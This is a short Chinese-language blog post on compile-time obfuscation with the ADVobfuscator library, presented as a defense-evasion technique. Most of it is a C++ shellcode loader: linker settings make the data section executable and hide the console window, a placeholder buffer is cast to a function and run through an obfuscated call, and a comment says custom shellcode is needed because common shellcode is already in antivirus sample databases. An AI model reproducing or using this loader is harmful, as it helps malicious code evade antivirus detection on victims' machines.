代码混淆 | Mamor's Blog

https://idiotc4t.com/defense-evasion/compile-time-obfuscation 该工具可以在编译时混淆函数调用也可以混淆字符串，对杀毒软件判断的静态特征产生很大程度的避免，同时混淆函数调用也能对行为查杀产生一定程度的影响

导入需要的头文件需要安装boost 在vs中进行配置，添加附加包含目录


#if !defined(DEBUG) || DEBUG == 0
#define BOOST_DISABLE_ASSERTS
#endif
  
#pragma warning(disable: 4503)
  
#define ADVLOG 1

#include "Log.h"
#include "MetaString.h"
#include "ObfuscatedCall.h"
#include "ObfuscatedCallWithPredicate.h"
#include <Windows.h>
#include <stdio.h>

#pragma comment(linker, "/section:.data,RWE")   
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")  
#pragma comment(linker, "/INCREMENTAL:NO") 

using namespace std;
using namespace andrivet::ADVobfuscator;
unsigned char buf[] = "shellcode"; //这里不能使用常规的shellcode 常规的shellcode已被杀软记录在样本库中 会根据此shellcode查杀
  
void exec()
{
	((void(*)(void))&buf)();
}

  
int main(int, const char*[])
{
	OBFUSCATED_CALL0(exec);
	//exec();
	return 0;
}

Reference

https://idiotc4t.com/defense-evasion/compile-time-obfuscation https://blog.csdn.net/u010921682/article/details/80179732